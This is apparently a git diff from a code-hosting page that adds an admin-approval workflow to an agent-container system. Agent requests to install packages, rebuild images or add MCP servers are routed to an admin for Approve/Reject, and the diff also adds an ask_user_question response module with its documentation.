- **Response handler:** single handler claims both agent-initiated and OneCLI approvals. OneCLI is tried first (in-memory Promise); falls through to `pending_approvals` lookup.
|
||||
- **Adapter-ready hook (`onDeliveryAdapterReady`):** starts the OneCLI manual-approval handler once the delivery adapter is set.
|
||||
- **Shutdown hook (`onShutdown`):** stops the OneCLI handler.
|
||||
|
||||
### Tables
|
||||
|
||||
`pending_approvals` (created by `module-approvals-pending-approvals.ts`). Columns for both DB-backed and OneCLI-tracking rows. Not dropped on uninstall — approvals in flight aren't lost on reinstall.
|
||||
|
||||
### Core integration
|
||||
|
||||
The module depends on host-side infra but does not reach into core decision paths beyond the registered hooks:
|
||||
- `buildAgentGroupImage`, `killContainer` from container-runner (image rebuilds)
|
||||
- `updateContainerConfig` from container-config (apt/npm/mcp edits)
|
||||
- `pickApprover`, `pickApprovalDelivery` from access
|
||||
- `getDeliveryAdapter` in request-approval.ts and the adapter-ready callback in OneCLI handler
|
||||
|
||||
No core code imports from this module. Removing it: delete `src/modules/approvals/`, remove the import from `src/modules/index.ts`. Delivery actions will log "Unknown system action"; button clicks on approval cards will log "Unclaimed response". Stale rows remain in `pending_approvals` until reinstall or manual cleanup.
|
||||
@@ -0,0 +1,214 @@
|
||||
/**
|
||||
* Delivery-action handlers for agent-initiated approval requests.
|
||||
*
|
||||
* Three actions the container can write into messages_out (via self-mod
|
||||
* MCP tools): install_packages, request_rebuild, add_mcp_server. Each one
|
||||
* delivers an approval card to an admin's DM and records a pending_approvals
|
||||
* row. The admin clicks a button → handleApprovalResponse picks it up.
|
||||
*
|
||||
* Host-side sanitization for install_packages is defense-in-depth (the MCP
|
||||
* tool validates first). Both layers matter — the DB row and eventual
|
||||
* shell-exec trust it.
|
||||
*/
|
||||
import { pickApprovalDelivery, pickApprover } from '../../access.js';
|
||||
import { normalizeOptions, type RawOption } from '../../channels/ask-question.js';
|
||||
import { getAgentGroup } from '../../db/agent-groups.js';
|
||||
import { getMessagingGroup } from '../../db/messaging-groups.js';
|
||||
import { createPendingApproval, getSession } from '../../db/sessions.js';
|
||||
import { getDeliveryAdapter } from '../../delivery.js';
|
||||
import { wakeContainer } from '../../container-runner.js';
|
||||
import { log } from '../../log.js';
|
||||
import { writeSessionMessage } from '../../session-manager.js';
|
||||
import type { Session } from '../../types.js';
|
||||
|
||||
const APPROVAL_OPTIONS: RawOption[] = [
|
||||
{ label: 'Approve', selectedLabel: '✅ Approved', value: 'approve' },
|
||||
{ label: 'Reject', selectedLabel: '❌ Rejected', value: 'reject' },
|
||||
];
|
||||
|
||||
/** Inline copy of delivery.ts's notifyAgent — sends a system chat to the agent. */
|
||||
function notifyAgent(session: Session, text: string): void {
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: session.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
|
||||
});
|
||||
const fresh = getSession(session.id);
|
||||
if (fresh) {
|
||||
wakeContainer(fresh).catch((err) => log.error('Failed to wake container after notification', { err }));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send an approval request to a privileged user's DM and record a
|
||||
* pending_approval row. Routing: admin @ originating agent group → owner.
|
||||
* Tie-break: prefer an approver reachable on the same channel kind as the
|
||||
* originating session's messaging group. Delivery always lands in the
|
||||
* approver's DM (not the origin group), regardless of where the action
|
||||
* was triggered.
|
||||
*/
|
||||
async function requestApproval(
|
||||
session: Session,
|
||||
agentName: string,
|
||||
action: 'install_packages' | 'request_rebuild' | 'add_mcp_server',
|
||||
payload: Record<string, unknown>,
|
||||
title: string,
|
||||
question: string,
|
||||
): Promise<void> {
|
||||
const approvers = pickApprover(session.agent_group_id);
|
||||
if (approvers.length === 0) {
|
||||
notifyAgent(session, `${action} failed: no owner or admin configured to approve.`);
|
||||
return;
|
||||
}
|
||||
|
||||
const originChannelType = session.messaging_group_id
|
||||
? (getMessagingGroup(session.messaging_group_id)?.channel_type ?? '')
|
||||
: '';
|
||||
|
||||
const target = await pickApprovalDelivery(approvers, originChannelType);
|
||||
if (!target) {
|
||||
notifyAgent(session, `${action} failed: no DM channel found for any eligible approver.`);
|
||||
return;
|
||||
}
|
||||
|
||||
const approvalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
const normalizedOptions = normalizeOptions(APPROVAL_OPTIONS);
|
||||
createPendingApproval({
|
||||
approval_id: approvalId,
|
||||
session_id: session.id,
|
||||
request_id: approvalId,
|
||||
action,
|
||||
payload: JSON.stringify(payload),
|
||||
created_at: new Date().toISOString(),
|
||||
title,
|
||||
options_json: JSON.stringify(normalizedOptions),
|
||||
});
|
||||
|
||||
const adapter = getDeliveryAdapter();
|
||||
if (adapter) {
|
||||
try {
|
||||
await adapter.deliver(
|
||||
target.messagingGroup.channel_type,
|
||||
target.messagingGroup.platform_id,
|
||||
null,
|
||||
'chat-sdk',
|
||||
JSON.stringify({
|
||||
type: 'ask_question',
|
||||
questionId: approvalId,
|
||||
title,
|
||||
question,
|
||||
options: APPROVAL_OPTIONS,
|
||||
}),
|
||||
);
|
||||
} catch (err) {
|
||||
log.error('Failed to deliver approval card', { action, approvalId, err });
|
||||
notifyAgent(session, `${action} failed: could not deliver approval request to ${target.userId}.`);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log.info('Approval requested', { action, approvalId, agentName, approver: target.userId });
|
||||
}
|
||||
|
||||
export async function handleInstallPackages(
|
||||
content: Record<string, unknown>,
|
||||
session: Session,
|
||||
): Promise<void> {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notifyAgent(session, 'install_packages failed: agent group not found.');
|
||||
return;
|
||||
}
|
||||
|
||||
const apt = (content.apt as string[]) || [];
|
||||
const npm = (content.npm as string[]) || [];
|
||||
const reason = (content.reason as string) || '';
|
||||
|
||||
const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
|
||||
const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
|
||||
const MAX_PACKAGES = 20;
|
||||
if (apt.length + npm.length === 0) {
|
||||
notifyAgent(session, 'install_packages failed: at least one apt or npm package is required.');
|
||||
return;
|
||||
}
|
||||
if (apt.length + npm.length > MAX_PACKAGES) {
|
||||
notifyAgent(session, `install_packages failed: max ${MAX_PACKAGES} packages per request.`);
|
||||
return;
|
||||
}
|
||||
const invalidApt = apt.find((p) => !APT_RE.test(p));
|
||||
if (invalidApt) {
|
||||
notifyAgent(session, `install_packages failed: invalid apt package name "${invalidApt}".`);
|
||||
log.warn('install_packages: invalid apt package rejected', { pkg: invalidApt });
|
||||
return;
|
||||
}
|
||||
const invalidNpm = npm.find((p) => !NPM_RE.test(p));
|
||||
if (invalidNpm) {
|
||||
notifyAgent(session, `install_packages failed: invalid npm package name "${invalidNpm}".`);
|
||||
log.warn('install_packages: invalid npm package rejected', { pkg: invalidNpm });
|
||||
return;
|
||||
}
|
||||
|
||||
const packageList = [...apt.map((p) => `apt: ${p}`), ...npm.map((p) => `npm: ${p}`)].join(', ');
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'install_packages',
|
||||
{ apt, npm, reason },
|
||||
'Install Packages Request',
|
||||
`Agent "${agentGroup.name}" is attempting to install a package + rebuild container:\n${packageList}${reason ? `\nReason: ${reason}` : ''}`,
|
||||
);
|
||||
}
|
||||
|
||||
export async function handleRequestRebuild(
|
||||
content: Record<string, unknown>,
|
||||
session: Session,
|
||||
): Promise<void> {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notifyAgent(session, 'request_rebuild failed: agent group not found.');
|
||||
return;
|
||||
}
|
||||
const reason = (content.reason as string) || '';
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'request_rebuild',
|
||||
{ reason },
|
||||
'Rebuild Request',
|
||||
`Agent "${agentGroup.name}" is attempting to rebuild container.${reason ? `\nReason: ${reason}` : ''}`,
|
||||
);
|
||||
}
|
||||
|
||||
export async function handleAddMcpServer(
|
||||
content: Record<string, unknown>,
|
||||
session: Session,
|
||||
): Promise<void> {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notifyAgent(session, 'add_mcp_server failed: agent group not found.');
|
||||
return;
|
||||
}
|
||||
const serverName = content.name as string;
|
||||
const command = content.command as string;
|
||||
if (!serverName || !command) {
|
||||
notifyAgent(session, 'add_mcp_server failed: name and command are required.');
|
||||
return;
|
||||
}
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'add_mcp_server',
|
||||
{
|
||||
name: serverName,
|
||||
command,
|
||||
args: (content.args as string[]) || [],
|
||||
env: (content.env as Record<string, string>) || {},
|
||||
},
|
||||
'Add MCP Request',
|
||||
`Agent "${agentGroup.name}" is attempting to add a new MCP server:\n${serverName} (${command})`,
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
/**
|
||||
* Handle an admin's response to an approval card.
|
||||
*
|
||||
* Two categories of pending_approvals rows exist:
|
||||
* 1. Agent-initiated actions (install_packages, request_rebuild, add_mcp_server).
|
||||
* Fire-and-forget from the agent's perspective: we notify via chat on
|
||||
* approve/reject, rebuild the image if applicable, then kill the container
|
||||
* so the next wake picks up the new image.
|
||||
* 2. OneCLI credential approvals (action = 'onecli_credential'). Resolved
|
||||
* via an in-memory Promise — see onecli-approvals.ts.
|
||||
*
|
||||
* The response handler is registered via core's `registerResponseHandler`;
|
||||
* core iterates handlers and the first one to return `true` claims the response.
|
||||
*/
|
||||
import { updateContainerConfig } from '../../container-config.js';
|
||||
import { buildAgentGroupImage, killContainer, wakeContainer } from '../../container-runner.js';
|
||||
import { getAgentGroup } from '../../db/agent-groups.js';
|
||||
import { deletePendingApproval, getPendingApproval, getSession } from '../../db/sessions.js';
|
||||
import type { ResponsePayload } from '../../response-registry.js';
|
||||
import { log } from '../../log.js';
|
||||
import { writeSessionMessage } from '../../session-manager.js';
|
||||
import type { PendingApproval } from '../../types.js';
|
||||
import { ONECLI_ACTION, resolveOneCLIApproval } from './onecli-approvals.js';
|
||||
|
||||
export async function handleApprovalsResponse(payload: ResponsePayload): Promise<boolean> {
|
||||
// OneCLI credential approvals — resolved via in-memory Promise first.
|
||||
if (resolveOneCLIApproval(payload.questionId, payload.value)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// DB-backed pending_approvals.
|
||||
const approval = getPendingApproval(payload.questionId);
|
||||
if (!approval) return false;
|
||||
|
||||
if (approval.action === ONECLI_ACTION) {
|
||||
// Row exists but the in-memory resolver is gone (timer fired or process
|
||||
// was in a weird state). Nothing to do — just drop the row.
|
||||
deletePendingApproval(payload.questionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
await handleAgentApproval(approval, payload.value, payload.userId ?? '');
|
||||
return true;
|
||||
}
|
||||
|
||||
async function handleAgentApproval(
|
||||
approval: PendingApproval,
|
||||
selectedOption: string,
|
||||
userId: string,
|
||||
): Promise<void> {
|
||||
if (!approval.session_id) {
|
||||
deletePendingApproval(approval.approval_id);
|
||||
return;
|
||||
}
|
||||
const session = getSession(approval.session_id);
|
||||
if (!session) {
|
||||
deletePendingApproval(approval.approval_id);
|
||||
return;
|
||||
}
|
||||
|
||||
const notify = (text: string): void => {
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: session.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
|
||||
});
|
||||
};
|
||||
|
||||
if (selectedOption !== 'approve') {
|
||||
notify(`Your ${approval.action} request was rejected by admin.`);
|
||||
log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId });
|
||||
deletePendingApproval(approval.approval_id);
|
||||
await wakeContainer(session);
|
||||
return;
|
||||
}
|
||||
|
||||
const payload = JSON.parse(approval.payload);
|
||||
|
||||
if (approval.action === 'install_packages') {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notify('install_packages approved but agent group missing.');
|
||||
return;
|
||||
}
|
||||
updateContainerConfig(agentGroup.folder, (cfg) => {
|
||||
if (payload.apt) cfg.packages.apt.push(...(payload.apt as string[]));
|
||||
if (payload.npm) cfg.packages.npm.push(...(payload.npm as string[]));
|
||||
});
|
||||
|
||||
const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', ');
|
||||
log.info('Package install approved', { approvalId: approval.approval_id, userId });
|
||||
try {
|
||||
await buildAgentGroupImage(session.agent_group_id);
|
||||
killContainer(session.id, 'rebuild applied');
|
||||
// Schedule a follow-up prompt a few seconds after kill so the host sweep
|
||||
// respawns the container on the new image and the agent verifies + reports.
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: session.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: JSON.stringify({
|
||||
text: `Packages installed (${pkgs}) and container rebuilt. Verify the new packages are available (e.g. run them or check versions) and report the result to the user.`,
|
||||
sender: 'system',
|
||||
senderId: 'system',
|
||||
}),
|
||||
processAfter: new Date(Date.now() + 5000)
|
||||
.toISOString()
|
||||
.replace('T', ' ')
|
||||
.replace(/\.\d+Z$/, ''),
|
||||
});
|
||||
log.info('Container rebuild completed (bundled with install)', { approvalId: approval.approval_id });
|
||||
} catch (e) {
|
||||
notify(
|
||||
`Packages added to config (${pkgs}) but rebuild failed: ${e instanceof Error ? e.message : String(e)}. Call request_rebuild to retry.`,
|
||||
);
|
||||
log.error('Bundled rebuild failed after install approval', { approvalId: approval.approval_id, err: e });
|
||||
}
|
||||
} else if (approval.action === 'request_rebuild') {
|
||||
try {
|
||||
await buildAgentGroupImage(session.agent_group_id);
|
||||
killContainer(session.id, 'rebuild applied');
|
||||
notify('Container image rebuilt. Your container will restart with the new image on the next message.');
|
||||
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
|
||||
} catch (e) {
|
||||
notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`);
|
||||
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
|
||||
}
|
||||
} else if (approval.action === 'add_mcp_server') {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
if (!agentGroup) {
|
||||
notify('add_mcp_server approved but agent group missing.');
|
||||
return;
|
||||
}
|
||||
updateContainerConfig(agentGroup.folder, (cfg) => {
|
||||
cfg.mcpServers[payload.name as string] = {
|
||||
command: payload.command as string,
|
||||
args: (payload.args as string[]) || [],
|
||||
env: (payload.env as Record<string, string>) || {},
|
||||
};
|
||||
});
|
||||
|
||||
killContainer(session.id, 'mcp server added');
|
||||
notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`);
|
||||
log.info('MCP server add approved', { approvalId: approval.approval_id, userId });
|
||||
}
|
||||
|
||||
deletePendingApproval(approval.approval_id);
|
||||
await wakeContainer(session);
|
||||
}
|
||||
@@ -13,4 +13,6 @@
|
||||
* Registry-based modules (installed via /add-<name> skills, pulled from the
|
||||
* `modules` branch): append imports below.
|
||||
*/
|
||||
export {};
|
||||
import './interactive/index.js';
|
||||
import './approvals/index.js';
|
||||
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
## ask_user_question
|
||||
|
||||
Use `ask_user_question` when you need the user to pick from a small set of concrete options and you can't infer a reasonable default. This is a **blocking** call — your turn pauses until the user clicks or the timeout expires.
|
||||
|
||||
**When to use:**
|
||||
- Confirming a destructive action ("Delete these 3 files?")
|
||||
- Choosing between incompatible paths ("Keep their version or yours?")
|
||||
- Gathering a required parameter that must be one of a known set
|
||||
|
||||
**When NOT to use:**
|
||||
- Open-ended text input — just send a regular message asking.
|
||||
- Yes/no confirmations where "no" is the safe default — just proceed and let the user interrupt.
|
||||
- Anything you can work out from context.
|
||||
|
||||
**Arguments:**
|
||||
- `title` (string) — short card header, e.g. "Confirm deletion"
|
||||
- `question` (string) — the full question
|
||||
- `options` (array) — each is either a plain string or `{ label, selectedLabel?, value? }`. `selectedLabel` replaces the button text after click; `value` is what gets returned to you
|
||||
- `timeout` (number, seconds, default 300) — how long to wait before giving up
|
||||
|
||||
The response is the `value` (or label if no value set) of whichever option the user chose. On timeout you get an error and should proceed with a sensible default or tell the user you timed out.
|
||||
@@ -0,0 +1,55 @@
|
||||
/**
|
||||
* Interactive module — generic ask_user_question flow.
|
||||
*
|
||||
* Container-side `ask_user_question` writes a chat-sdk card to outbound.db +
|
||||
* polls inbound.db for a `question_response` system message. On the host side
|
||||
* this module handles the button-click response: look up the pending_questions
|
||||
* row, write the response into the session's inbound.db, wake the container.
|
||||
*
|
||||
* The `createPendingQuestion` call in `deliverMessage` (delivery.ts) stays
|
||||
* inline in core — it's 15 lines guarded by `hasTable('pending_questions')`,
|
||||
* modularizing it adds more registry surface than it saves.
|
||||
*/
|
||||
import { getDb, hasTable } from '../../db/connection.js';
|
||||
import { deletePendingQuestion, getPendingQuestion, getSession } from '../../db/sessions.js';
|
||||
import { wakeContainer } from '../../container-runner.js';
|
||||
import { registerResponseHandler, type ResponsePayload } from '../../response-registry.js';
|
||||
import { log } from '../../log.js';
|
||||
import { writeSessionMessage } from '../../session-manager.js';
|
||||
|
||||
async function handleInteractiveResponse(payload: ResponsePayload): Promise<boolean> {
|
||||
if (!hasTable(getDb(), 'pending_questions')) return false;
|
||||
|
||||
const pq = getPendingQuestion(payload.questionId);
|
||||
if (!pq) return false;
|
||||
|
||||
const session = getSession(pq.session_id);
|
||||
if (!session) {
|
||||
log.warn('Session not found for pending question', { questionId: payload.questionId, sessionId: pq.session_id });
|
||||
deletePendingQuestion(payload.questionId);
|
||||
return true; // claimed — we owned this questionId even though the session is gone
|
||||
}
|
||||
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `qr-${payload.questionId}-${Date.now()}`,
|
||||
kind: 'system',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: pq.platform_id,
|
||||
channelType: pq.channel_type,
|
||||
threadId: pq.thread_id,
|
||||
content: JSON.stringify({
|
||||
type: 'question_response',
|
||||
questionId: payload.questionId,
|
||||
selectedOption: payload.value,
|
||||
userId: payload.userId ?? '',
|
||||
}),
|
||||
});
|
||||
|
||||
deletePendingQuestion(payload.questionId);
|
||||
log.info('Question response routed', { questionId: payload.questionId, selectedOption: payload.value, sessionId: session.id });
|
||||
|
||||
await wakeContainer(session);
|
||||
return true;
|
||||
}
|
||||
|
||||
registerResponseHandler(handleInteractiveResponse);
|
||||
@@ -0,0 +1,12 @@
|
||||
## Interactive module
|
||||
|
||||
Generic ask_user_question flow. Lives in `src/modules/interactive/`.
|
||||
|
||||
The container-side MCP tool `ask_user_question` writes a chat-sdk card to outbound.db and polls inbound.db for a `question_response` system message. The host side of this is split:
|
||||
|
||||
- **Inline in `src/delivery.ts`:** the `deliverMessage` path intercepts `content.type === 'ask_question'` messages and writes a row to `pending_questions`. Guarded by `hasTable(db, 'pending_questions')`.
|
||||
- **This module:** registers a `ResponseHandler` that runs when a button-click arrives via the channel adapter's `onAction`. It looks up the `pending_questions` row, writes a `question_response` system message into the session's inbound.db, wakes the container.
|
||||
|
||||
The `pending_questions` table is in the core `001-initial.ts` migration — the module doesn't own the schema, just the behavior. Removing the module disables the button-click response path only; cards are still delivered.
|
||||
|
||||
`getAskQuestionRender` in `src/db/sessions.ts` resolves card render metadata for `chat-sdk-bridge.ts`. It reads both `pending_questions` and `pending_approvals` and degrades via `hasTable`. Stays in core.
|
||||
@@ -0,0 +1,45 @@
|
||||
/**
|
||||
* Response handler + shutdown callback registries.
|
||||
*
|
||||
* Extracted from index.ts so that modules calling `registerResponseHandler()`
|
||||
* or `onShutdown()` at import time don't hit a TDZ error on the const-array
|
||||
* declarations. index.ts imports src/modules/index.js for its side effects,
|
||||
* which triggers module registrations that would otherwise happen before
|
||||
* index.ts's own const initializers have run.
|
||||
*
|
||||
* Keep this file dependency-free (log.js is fine, but nothing from
|
||||
* modules/* or index.ts itself). Any file imported here must not in turn
|
||||
* import from src/index.ts, or the cycle returns.
|
||||
*/
|
||||
|
||||
export interface ResponsePayload {
|
||||
questionId: string;
|
||||
value: string;
|
||||
userId: string | null;
|
||||
channelType: string;
|
||||
platformId: string;
|
||||
threadId: string | null;
|
||||
}
|
||||
|
||||
export type ResponseHandler = (payload: ResponsePayload) => Promise<boolean>;
|
||||
|
||||
const responseHandlers: ResponseHandler[] = [];
|
||||
|
||||
export function registerResponseHandler(handler: ResponseHandler): void {
|
||||
responseHandlers.push(handler);
|
||||
}
|
||||
|
||||
export function getResponseHandlers(): readonly ResponseHandler[] {
|
||||
return responseHandlers;
|
||||
}
|
||||
|
||||
type ShutdownCallback = () => void | Promise<void>;
|
||||
const shutdownCallbacks: ShutdownCallback[] = [];
|
||||
|
||||
export function onShutdown(cb: ShutdownCallback): void {
|
||||
shutdownCallbacks.push(cb);
|
||||
}
|
||||
|
||||
export function getShutdownCallbacks(): readonly ShutdownCallback[] {
|
||||
return shutdownCallbacks;
|
||||
}
|
||||
Reference in New Issue
Block a user